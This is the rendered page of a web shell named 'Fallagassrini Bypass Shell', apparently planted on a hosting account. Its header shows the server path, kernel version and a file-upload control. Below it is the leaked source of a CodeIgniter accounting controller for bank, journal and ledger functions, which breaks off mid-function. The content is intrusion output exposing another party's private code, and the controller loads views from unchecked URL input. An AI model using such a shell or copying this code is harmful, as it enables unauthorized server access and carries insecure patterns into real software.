? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/controllers/accounting.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php


class Accounting extends BaseController {

	function Accounting()
	{
		parent::BaseController();
                $this->load->model('accountingsmodel');
                $this->load->model('documentsmodel');
                $this->load->model('hrmodel');
                $this->load->model('mastermodel');
                $this->load->model('customermodel');
                $this->load->model('settingsmodel');
                 $this->load->model('reportmodel');
                $this->load->model('policiesmodel');
		$this->load->library('Fpaginate');

	}

  function deletegl_class($table,$id,$pageno=1)
        {
              $result=$this->accountingsmodel->deletegl_class('cid',$table,$id);
        }
   function loaderror()
        {

             $this->load->view('Accounting/checkexist');
        }

        function viewglacc_class($pageno=1,$field,$value='')
        {
            
             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('gl_class',$field,$value);
            
             $data['field']=$field;
             $data['text']=$value;
            $data['glclass']=$this->accountingsmodel->Getgl_class('gl_class',$pageno,$field,$value);
            $this->load->view('Accounting/view_gl_acc_class',$data);
            
        }

        function addglacc_class()
        {
                 $this->load->view('Accounting/add_gl_acc_class');
                

        }

        function insertglacc_class()
        {
            $res=$this->accountingsmodel->addgl_acc_class();
	     if($res>=1)
		{
			echo "Class Added Sucessfully";
		}
        }
        function updateglacc_class()
        {
            $res=$this->accountingsmodel->updategl_acc_class();
	     if($res>=1)
		{
			echo "Updated Sucessfully";
		}
        }

         function Get_editglclass_data($id,$pageno,$field,$text="")
        {

           // echo $id."--".$field."-".$pageno;
//the argument pageno is current page no and  id is reminder id
             $data['editglclass']=$this->accountingsmodel->Get_edit_data('cid','gl_class',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit-gl-class-page',$data);

        }

        function ajaxload($page)
        {

         
            $this->load->view('Accounting/'.$page.'');
        }
// ------------------------Functions of GL Account Groups--------------------------------//


         function viewglacc_group($pageno=1,$field,$value='')
        {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('gl_groups',$field,$value);

             $data['field']=$field;
             $data['text']=$value;
            $data['glgroup']=$this->accountingsmodel->Getgl_class('gl_groups',$pageno,$field,$value);
            $this->load->view('Accounting/view_gl_acc_group',$data);

        }

        function addglacc_group()
        {
                 $this->load->view('Accounting/add_gl_acc_group');


        }

         function insertglacc_group()
        {
            $res=$this->accountingsmodel->addgl_acc_group();
	     if($res>=1)
		{
			echo "Group Added Sucessfully";
		}
        }
         function deletegl_group($table,$id,$pageno=1)
        {
              $result=$this->accountingsmodel->deletegl_class('id',$table,$id);
               echo $result;
              
        }



     function deletechart_acc($table,$id,$pageno=1)
        {
              $result=$this->accountingsmodel->deletechart_acc('id',$table,$id);
              echo $result;
              
        }
    function deletechart_group($table,$id,$pageno=1)
        {
              $result=$this->accountingsmodel->deletechart_group('id',$table,$id);
              echo $result;

        }
         function Get_editglgroup_data($id,$pageno,$field,$text="")
        {

             $data['editglgroup']=$this->accountingsmodel->Get_edit_data('id','gl_groups',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit-gl-group-page',$data);

        }
         function updateglacc_group()
        {
            $res=$this->accountingsmodel->updategl_acc_group();
	     if($res>=1)
		{
			echo "Updated  Sucessfully";
		}
        }

        // ------------------------Functions of GL Accounts--------------------------------//

     function viewgl_acc($pageno=1,$field,$value='')
     {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$value;
             $output=$this->accountingsmodel->showgl_class($pageno,$field,$value);
             $data['totrecord']=$output['totcount'];
             $data['glaccount']=$output['result'];
             $this->load->view('Accounting/view_gl_account',$data);

     }
     function loadgl_acc($pageno=1,$field,$value='')
     {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;

             $data['field']=$field;
             $data['text']=$value;
             $output=$this->accountingsmodel->showgl_class($pageno,$field,$value);
             $data['totrecord']=$output['totcount'];
             $data['glaccount']=$output['result'];
             $this->load->view('Accounting/load_gl_account',$data);

        }


        function loadsub_accmain($mainacc,$pageno=1,$field,$value='')
        {
             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $data['mainacc']=$mainacc;
             $data['field']=$field;
             $data['text']=$value;
             $output=$this->accountingsmodel->showsub_classmain($mainacc,$pageno,$field,$value);
             $data['totrecord']=$output['totcount'];
             $data['glaccount']=$output['result'];
             $this->load->view('Accounting/loadsubacc_main',$data);

        }
        
         function addgl_acc()
        {
                 $this->load->view('Accounting/add_gl_account');


        }
          function addacc_settings()
        {
                 $this->load->view('Accounting/add_subacc_settings');


        }
     function insertgl_acc()
        {
            $res=$this->accountingsmodel->addgl_acc();
	     if($res==1)
		{
			echo "Account Added Sucessfully";
		}
             else if($res=='BEYOND')
                {
                    echo "Account Beyond the Limit";
                }
              else
                {
                     echo "Error While Adding";
                }
        }
         function insertacc_settings()
        {
            $res=$this->accountingsmodel->add_acc_settings();
	     if($res>=1)
		{
			echo "Settings Added";
		}
        }

      function Get_editgl_acc($id,$pageno,$field,$text="")
        {

             $data['editglacc']=$this->accountingsmodel->Get_edit_data('id','chart_master',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit-gl-account-page',$data);

        }
   function Get_editacc_setting($id)
        {


             $data['id']=$id;
             $this->load->view('Accounting/editacc_setting',$data);

        }
 function updategl_acc()
        {
             
            $res=$this->accountingsmodel->updategl_acc();
	     if($res>=1)
		{
			echo "Updated Sucessfully";
		}
        }
    function updateacc_settings()
        {

            $res=$this->accountingsmodel->updateacc_settings();
	     if($res>=1)
		{
			echo "Updated  Successfully";
		}
        }

      
        /************************************functions for bank accounts**************************************/


         function viewbank_acc($pageno=1,$field,$value='')
        {

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $data['totrecord']=$this->settingsmodel->count_alls('bank_accounts',$field,$value);

             $data['field']=$field;
             $data['text']=$value;
            $data['ba_acc']=$this->accountingsmodel->Getgl_class('bank_accounts',$pageno,$field,$value);
            $this->load->view('Accounting/view_bank_accounts',$data);

        }

        function add_bank_accounts()
        {
          $this->load->view('Accounting/add_bank_accounts');
        }

         function insertbank_acc()
        {

             
            $res=$this->accountingsmodel->addbank_acc();
	     if($res>=1)
		{
			echo "Bank Account Added Sucessfully";
		}
        }


        function editbank_acc($id,$pageno,$field,$text="")
        {

             $data['editbank_acc']=$this->accountingsmodel->Get_edit_data('id','bank_accounts',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit-bank-accounts',$data);

        }
         function updatebank_acc()
        {

            $res=$this->accountingsmodel->updatebank_acc();
	     if($res>=1)
		{
			echo "Updated  Sucessfully";
		}
        }


        /***************************************Bank Payment and deposit functions starts here*****-**********************************/

        function viewcustaccount_pages($page,$type,$pagenum)
        {
          
           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->countcust_tra_val('customer_trans','amount','-');
          
           $data['bank']=$this->accountingsmodel->custom_trans('customer_trans',$pagenum,'amount','-');
           $this->load->view('Accounting/'.$page,$data);

        }
          function viewacc_statement_pages($page)
        {
          
           $this->load->view('Accounting/'.$page);

        }
        function viewunpostcust_payment($page,$type,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->banktrans_unpost($pagenum,'count',$type);
           $data['bank']=$this->accountingsmodel->banktrans_unpost($pagenum,'data',$type);
           
           $this->load->view('Accounting/'.$page,$data);

        }

        function viewsinglecustaccount_pages($page,$id)
        {

           
         
           $data['bank']=$this->accountingsmodel->singlecustom_trans($id);
           $this->load->view('Accounting/'.$page,$data);

        }
        function viewsinglecustpayment($cusid,$tid)
        {
         //echo $type.'---'.$refid;
          
            $data['single']=$this->accountingsmodel->single_transact($cusid);
              $data['allocate']=$this->accountingsmodel->single_allocate($tid);
           $this->load->view('Accounting/viewallocation_page',$data);
        }

        function viewsinglepayment($type,$refid)
        {
         //echo $type.'---'.$refid;
            $data['refid']=$refid;
             $data['type']=$type;
           
            $data['single']=$this->accountingsmodel->single_trans('gl_trans',$refid);
            $data['count']=$this->accountingsmodel->get_transtype_count($type,$refid);
           $this->load->view('Accounting/viewtransaction_page',$data);
        }
         function viewsinglepslippayment($type,$pid,$qref)
        {
         
            
             $data['type']=$type;
             $qref=str_replace("~"," ",$qref);
             $qref=str_replace("_","/",$qref);
             $data['qref']=$qref;

             $data['single']=$this->accountingsmodel->show_trans_pslip($pid,$type);
             $data['refid']=$this->accountingsmodel->get_ref_pslip($pid,$type);
             $data['count']=$this->accountingsmodel->get_transtype_count($type,$data['refid']);
           
           $this->load->view('Accounting/viewtransaction_page_pslip',$data);
        }
        function showdebitcreditnotegl($refid,$type,$plid,$qid,$trtype)
        {
            $data['single']=$this->accountingsmodel->show_trans_pslip($refid);
            $data['type']=$type;
            $data['refid']=$refid;
         
                if($trtype=='issue')
                {
                   $pdet=$this->policiesmodel->getplacingpayment($plid);
                   $data['qtnref']=$pdet[0]['quotation_ref'];
                   $data['policyno']=$pdet[0]['policyno'];
                   
                }
                else if($trtype=='endorsement')
                {
                    $enddet=$this->policiesmodel->getendorsementpayment($qid,$plid);


                    $data['qtnref']=$enddet[0]['endrefno'];
                    $data['policyno']=$enddet[0]['endpolicyno'];

                   
                }
                else if($trtype=='cancellation')
                {
                   $candet=$this->policiesmodel->getcancellationpayment($qid,$plid);


                    $data['qtnref']=$candet[0]['canrefno'];
                    $data['policyno']=$candet[0]['canpolicyno'];
                   
                }
                else
                {
                   $pdet=$this->policiesmodel->getdeclarationpayment($plid);
                   $data['qtnref']=$pdet[0]['certificate_refno'];
                   $data['policyno']=$pdet[0]['policyno'];
                }
            
            $this->load->view('Accounting/viewtransaction_page_pslip',$data);
        }

       function viewsingleunpostpayment($type,$refid)
        {
         //echo $type.'---'.$refid;
            $data['refid']=$refid;
             $data['type']=$type;

            $data['single']=$this->accountingsmodel->single_unpost('unposted_journal',$refid);
           $this->load->view('Accounting/viewunposttransaction_page',$data);
        }
        function viewsingleunpostbank($type,$refid)
        {
         //echo $type.'---'.$refid;
            $data['refid']=$refid;
             $data['type']=$type;

            $data['single']=$this->accountingsmodel->single_unpost('unposted_pay_dep',$refid);
           $this->load->view('Accounting/viewunposted_banktrans',$data);
        }

        function viewsingleautopayment($type,$refid)
        {
         //echo $type.'---'.$refid;
            $data['refid']=$refid;
             $data['type']=$type;

            $data['single']=$this->accountingsmodel->single_unpost('auto_journal',$refid);
           $this->load->view('Accounting/viewautotransaction_page',$data);
        }
        function addallocation()
        {
         $res =    $this->accountingsmodel->addtoallocate();
          redirect('master/index/106/12');
        }

      function addemployeeallocation()
        {
         $res = $this->accountingsmodel->addemployeeallocate();

         $trans=$_POST['trans_table'];
        
            redirect('master/index/106/12');
        
        }

         function viewbankdeposit_pages($page,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->bankdep_trans('0','count');

           $data['bank']=$this->accountingsmodel->bankdep_trans($pagenum,'data');
           $this->load->view('Accounting/'.$page,$data);

        }
       

 function viewbankpayment_pages($page,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->bankpayment_trans('0','count');

           $data['bank']=$this->accountingsmodel->bankpayment_trans($pagenum,'data');
           $this->load->view('Accounting/'.$page,$data);

        }


        function Insertpayment($refid)
        {

          
             $res=$this->accountingsmodel->bank_payment($refid);
                      
          
            
        }
         function Insertunpostpayment()
        {


             $res=$this->accountingsmodel->unpostcust_payment();

             if($res==1)
             {

                   redirect('master/index/65/12');


             }

        }
        function updatecustpayment()
        {

             $res=$this->accountingsmodel->updatecust_payment();
              redirect('master/index/65/12');


        }

     function Insertbankpayment()
        {

             $type=$_POST['pay_n_dep'];
             $res=$this->accountingsmodel->bankaccount_unpostpayment();
             //echo $res.'ghgfhhf';

             if($res==1)
             {

                      if($type==1)
                {
                   redirect('master/index/89/12');
                }
                else if($type==2)
                {
                   redirect('master/index/67/12');
                }


             }

        }

        function data_exist($table,$data)
        {
           
            $res=$this->accountingsmodel->data_exist($table,$data);
        }
      function code_exist($table,$field,$data)
        {
           $res=$this->accountingsmodel->code_exist($table,$field,$data);
        }


        /***************************************Bank Account Transfer functions starts here*****-**********************************/

        function bank_bal($id)
        {
           $res=$this->accountingsmodel->bank_bal($id);
           
        }

        function viewaccount_page($page)
        {
            
    $this->load->view('Accounting/'.$page);

           

        }

   function Geteditpayment($page,$refid)
        {
      
       $data['result']=$this->mastermodel->get_data_srow('unposted_pay_dep',$refid,'reference');
        $this->load->view('Accounting/'.$page,$data);



        }
   function Geteditbankpay($page,$refid)
        {

       $data['result']=$this->mastermodel->get_data('unposted_pay_dep',$refid,'reference');     
       $this->load->view('Accounting/'.$page,$data);



        }
   function Geteditbankjournal($page,$refid)
        {

       $data['result']=$this->mastermodel->get_data('unposted_journal',$refid,'reference');
       $this->load->view('Accounting/'.$page,$data);



        }
  function Geteditpostbankjournal($page,$refid)
        {

           $data['result']=$this->mastermodel->get_data('gl_trans',$refid,'type_no');
           $this->load->view('Accounting/'.$page,$data);



        }
 function Geteditautojournal($page,$refid)
        {

       $data['result']=$this->mastermodel->get_data('auto_journal',$refid,'reference');
       $this->load->view('Accounting/'.$page,$data);



        }
   function Geteditbank_transfer($page,$refid)
        {

        $data['result']=$this->mastermodel->get_data_srow('bank_to_bank',$refid,'ref');
        $this->load->view('Accounting/'.$page,$data);



        }
 function viewjournal_pages($page,$pagenum)
        {

          $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->journal_trans('0','count');
       

           $data['bank']=$this->accountingsmodel->journal_trans($pagenum,'data');
           $this->load->view('Accounting/'.$page,$data);

        }
    function viewautojournal_pages($page,$pagenum)
        {

          $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->autojournal_trans($pagenum,'count');


           $data['bank']=$this->accountingsmodel->autojournal_trans($pagenum,'data');
           $this->load->view('Accounting/'.$page,$data);

        }
          function viewreverse_trans_pages($page,$pagenum)
        {

          $data['currpage']=$pagenum;
          
           $this->load->view('Accounting/'.$page,$data);

        }

  function viewunpostedjournal_pages($page,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->journal_unpost('0','count');
           $data['bank']=$this->accountingsmodel->journal_unpost($pagenum,'data');
           $this->load->view('Accounting/'.$page,$data);

        }
     function viewunpostedbank_deposit($page,$pagenum,$trans)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->banktrans_unpost('0','count',$trans);
           $data['bank']=$this->accountingsmodel->banktrans_unpost($pagenum,'data',$trans); 
           $this->load->view('Accounting/'.$page,$data);

        }

        function viewbank_pages($page,$type,$pagenum)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->count_val('bank_to_bank','type',$type);

           $data['bank']=$this->accountingsmodel->bank_trans('bank_to_bank',$pagenum,'type',$type);
           $this->load->view('Accounting/'.$page,$data);

        }
         function viewbanktransfer_pages($page,$pagenum,$post)
        {

           $data['currpage']=$pagenum;
           $data['totrecord']=$this->accountingsmodel->bank_trans('0','count',$post);

           $data['bank']=$this->accountingsmodel->bank_trans($pagenum,'data',$post);
           $this->load->view('Accounting/'.$page,$data);

        }


        function Insertbanktransfer()
         {
             $res=$this->accountingsmodel->bank_transfer();

             if($res==1)
             {
                   redirect('master/index/68/12');
             }
         }
         function updatebanktransfer()
         {
             $res=$this->accountingsmodel->updatebank_transfer();

             if($res==1)
             {
                   redirect('master/index/68/12');
             }
         }



  function delete_trans_custdata($type,$refid,$pageno=1)
        {
             // $result=$this->accountingsmodel->deletetrans($type,$refid);
        }
/************************************function for journal entry**********************************************/


    function Insertjournal()
    {

             $res=$this->accountingsmodel->add_unposted_journal();

             if($res==1)
             {
                   redirect('master/index/69/12');
             }
    }
      function Insertreverse_journal()
    {

           //echo "<script>alert('hi! Controller')</script>";
          $res=$this->accountingsmodel->add_reverse_posted_journal();
          echo $res;
//             if($res==1)
//             {
//                //   redirect('customer/index/69/12');
//             }
    }

function Insertautojournal()
    {

             $res=$this->accountingsmodel->add_auto_journal();

             if($res==1)
             {
                   redirect('master/index/91/12');
             }
    }
  function post_journal($rid)
  {
  $res=$this->accountingsmodel->add_journal($rid);
  }
  function post_bank_trans($rid)
  {
  $res=$this->accountingsmodel->bankaccount_payment($rid);
  }
  function post_banktobank_trans($id)
  {
  $res=$this->accountingsmodel->post_banktobank_trans($id);
  }

   function post_autojournal($rid,$date)
  {
  $res=$this->accountingsmodel->add_autojournal($rid,$date);
  }

function deleteunpost_journal($table,$id)
{

    $res=$this->accountingsmodel->delete_up_journal($table,$id);;

               
}

    function loadacc_type($acctype)
    {
        $data['bankacc']=$this->accountingsmodel->getbank_acc($acctype);
        $this->load->view('Accounting/loadacc_type',$data);
    }
 function loadsubacc_type($acctype)
    {
        $data['bankacc']=$this->accountingsmodel->get_acc_sub($acctype);
        $this->load->view('Accounting/loadacc_type',$data);
    }

    function load_account_page($acctype)
    {
      $data['acctype']=$acctype;
      $this->load->view('Accounting/load_account_page',$data);
    }
    function loadpayment_list($table,$value)
    {
        $dat= explode("~",$value);
        $data['type']=$dat[0];
        $data['account']=$dat[1];
        $data['fromid']=$dat[2];
        $data['totalpaid']=$this->accountingsmodel->get_emp_paid_amount($dat[2],$table);
        $data['totalalloc']=$this->accountingsmodel->get_emp_alloc_amount($dat[2],$table);
        $data['bankpayment']=$this->accountingsmodel->getpayment_list($value);
        $this->load->view('Accounting/loadpayment_list',$data);
        
    }
     function checkaccountisset($account,$table)
        {
            $res=$this->accountingsmodel->checkaccountisset($account,$table);
            echo $res;

        }
  function checkaccountsetting()
        {
            $res=$this->accountingsmodel->checkaccountsetting();
            echo $res;

        }
  function checktrans_codeset($val)
        {
            $res=$this->accountingsmodel->checktrans_codeset($val);
            echo $res;

        }
   function get_trans_code($val)
        {
            $res=$this->accountingsmodel->get_reference_code($val);
            echo $res;

        }

      function viewacc_settings()
        {


            $data['acc_setting']=$this->accountingsmodel->Getsubacc_settings();
            $this->load->view('Accounting/viewsubacc_setting',$data);

        }

  function addreportpage($page)
         {
          
      $this->load->view('Accounting/'.$page);
         }

 function chart_report()
    {

          $this->load->plugin('to_pdf');
          $data['report']=$this->accountingsmodel->get_chart_report();          
	  $page='pdf_chart_report';
          $this->load->view('Accounting/'.$page.'',$data);
    }

 function journal_entry_report($date1='',$date2='')
     {

          $data['fdate']=$date1;
          $data['tdate']=$date2;
          $this->load->plugin('to_pdf');
          $data['report']=$this->accountingsmodel->get_journal_report($date1,$date2);
          $page='pdf_journal_report';
          $this->load->view('Accounting/'.$page.'',$data);

     }

  function customer_bal_report($customer_id,$date1,$date2)
  {
     $data['fdate']=$date1;
     $data['tdate']=$date2;
     $cust= explode("~",$customer_id);
     $cus_id=$cust[0];
     $cus_code=$cust[1];
     $data['cust_id']=$cus_id;
     $this->load->plugin('to_pdf');
     $data['report']=$this->accountingsmodel->get_customer_balance($cus_id,$date1,$date2);
     $data['alloc_detail']=$this->accountingsmodel->get_cust_allocate_bal($cus_code,$date1,$date2);
    // var_dump($data['alloc_detail']);
     $page='pdf_customer_balance';
     $this->load->view('Accounting/'.$page.'',$data);

  }
   function updatetrans_code()
        {
            $res=$this->accountingsmodel->updatetrans_code();
	     if($res>=1)
		{
			echo "Updated  Sucessfully";
		}
        }
 function bank_statement_report($bankid,$date1,$date2)
     {
         $data['fdate']=$date1;
         $data['tdate']=$date2;
         $data['bank_id']=$bankid;
         $this->load->plugin('to_pdf');
         $data['report']=$this->accountingsmodel->get_bank_statement($bankid,$date1,$date2);
         $page='pdf_bank_statement';
         $this->load->view('Accounting/'.$page.'',$data);
     }
 function chart_trans_report($acc,$date1='',$date2='')
     {

          $data['fdate']=$date1;
          $data['tdate']=$date2;
          $data['acc_code']=$acc;
          $this->load->plugin('to_pdf');
          $data['report']=$this->accountingsmodel->get_chart_trans_report($acc,$date1,$date2);
          $page='pdf_chart_trans_report';
          $this->load->view('Accounting/'.$page.'',$data);

     }

     function viewtransactioncode($page,$pageno=1,$field,$value='')
     {

         $value=str_replace("~"," ",$value);
         $value=str_replace("_","/",$value);
         $data['currpage']=$pageno;
         $data['field']=$field;
         $data['text']=$value;
         $data['totrecord']=$this->accountingsmodel->countchart_group('transaction_code',$field,$value);
         $data['transcode']=$this->accountingsmodel->Getchart_group('transaction_code',$pageno,$field,$value);
         $this->load->view('Accounting/'.$page.'',$data);
     }

   function viewchart_group($pageno=1,$field,$value='')
        {

           
             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
              $output=$this->accountingsmodel->showchart_group($pageno,$field,$value);
              $data['chart_group']=$output['result'];
              $data['totrecord']=$output['totcount'];

             $data['field']=$field;
             $data['text']=$value;
           
            $this->load->view('Accounting/view_chart_group',$data);

        }


   function load_chart_group($pageno=1,$field,$value='')
        {

               
             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $output=$this->accountingsmodel->showchart_group($pageno,$field,$value);
              $data['chart_group']=$output['result'];
              $data['totrecord']=$output['totcount'];

             $data['field']=$field;
             $data['text']=$value;
            
             $this->load->view('Accounting/load_chart_group',$data);

        }

        function load_chart_groupjournal($pageno=1,$field,$count='',$value='')
        {
            

             $value=str_replace("~"," ",$value);
             $value=str_replace("_","/",$value);
             $data['currpage']=$pageno;
             $output=$this->accountingsmodel->showchart_group($pageno,$field,$value);
              $data['chart_group']=$output['result'];
              $data['totrecord']=$output['totcount'];
              $data['countdiv']=$count;
             $data['field']=$field;
             $data['text']=$value;

             $this->load->view('Accounting/load_chart_groupjournal',$data);

        }

  function load_add_page($page)
        {
                 
                 $this->load->view('Accounting/'.$page);


        }
   function insertchart_group()
        {
            $res=$this->accountingsmodel->addchart_group();
	     if($res==1)
		{
			echo "Group Added Sucessfully";
		}

              else
                {
                     echo "Error While Adding";
                }
        }
          function inserttrans_code()
        {
            $res=$this->accountingsmodel->addtransaction_code();
	     if($res==1)
		{
			echo "Code Added Sucessfully";
		}

              else
                {
                     echo "Error While Adding";
                }
        }

    function Get_editchart_group($id,$pageno,$field,$text="")
        {

             $data['editchart_group']=$this->accountingsmodel->Get_edit_data('id','chart_master',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit_chart_group',$data);

        }
    function Get_edittrans_code($id,$pageno,$field,$text="")
        {

             $data['edittrans_code']=$this->accountingsmodel->Get_edit_data('id','transaction_code',$id);
             $data['currpage']=$pageno;
             $data['field']=$field;
             $data['text']=$text;
             $this->load->view('Accounting/edit_trans_code',$data);

        }

      function updatechart_group()
        {
            $res=$this->accountingsmodel->updatechart_group();
	     if($res>=1)
		{
			echo "Updated Sucessfully";
		}
        }
        function search_autojournal($page,$seloption,$pagenum="",$searchtext="")
	{
            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_autojournal($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_autojournal($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_unposted_journal($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);
               
            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_unposted_journal($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_unposted_journal($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_posted_journal($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'tran_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_posted_journal($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_posted_journal($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
         function search_bank_transfer($page,$seloption,$pagenum="",$searchtext="",$post="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'trans_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_bank_transfer($seloption,$searchtext,'','','true',$post);
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_bank_transfer($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false',$post);
            $this->load->view('Accounting/'.$page.'',$data);
	}
        function search_posted_bank_deposit($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 'trans_date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_posted_bank_deposit($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
            $arr=$this->fpaginate->paginate( $data['pagenum'], $data['pages'],$data['nooflist']);
	    $data['startpage']=$arr[0];
	    $data['endpage']=$arr[1];
            $data['currpage']=$pagenum;
            $data['bank']=$this->accountingsmodel->search_posted_bank_deposit($seloption,$searchtext,$data['pagenum'],$data['perpage'],'false');
            $this->load->view('Accounting/'.$page.'',$data);
	}
        
        function search_unposted_bank_deposit($page,$seloption,$pagenum="",$searchtext="")
	{

            $searchtext=str_replace("~"," ",$searchtext);
            $searchtext=str_replace("_","/",$searchtext);
            if($seloption == 't.date')
            {
                $searchtext=$this->mastermodel->convdatformat($searchtext);

            }
            $data['mode']=$searchtext;
            $data['perpage']='10';
            $data['searchoption']=$seloption;
            $data['searchtxt']=$searchtext;
	    $data['nooflist']='4';
            $data['count']=$this->accountingsmodel->search_unposted_bank_deposit($seloption,$searchtext,'','','true');
            $data['totrecord']=$data['count'];
            $data['pages']= ceil($data['count']/$data['perpage']);
            $data['pagenum']=$pagenum;
            if($data['pagenum']==1)
             $data['id']=1;
            else
              $data['id']= (($data['pagenum']-1)*$data['perpage'])+1;
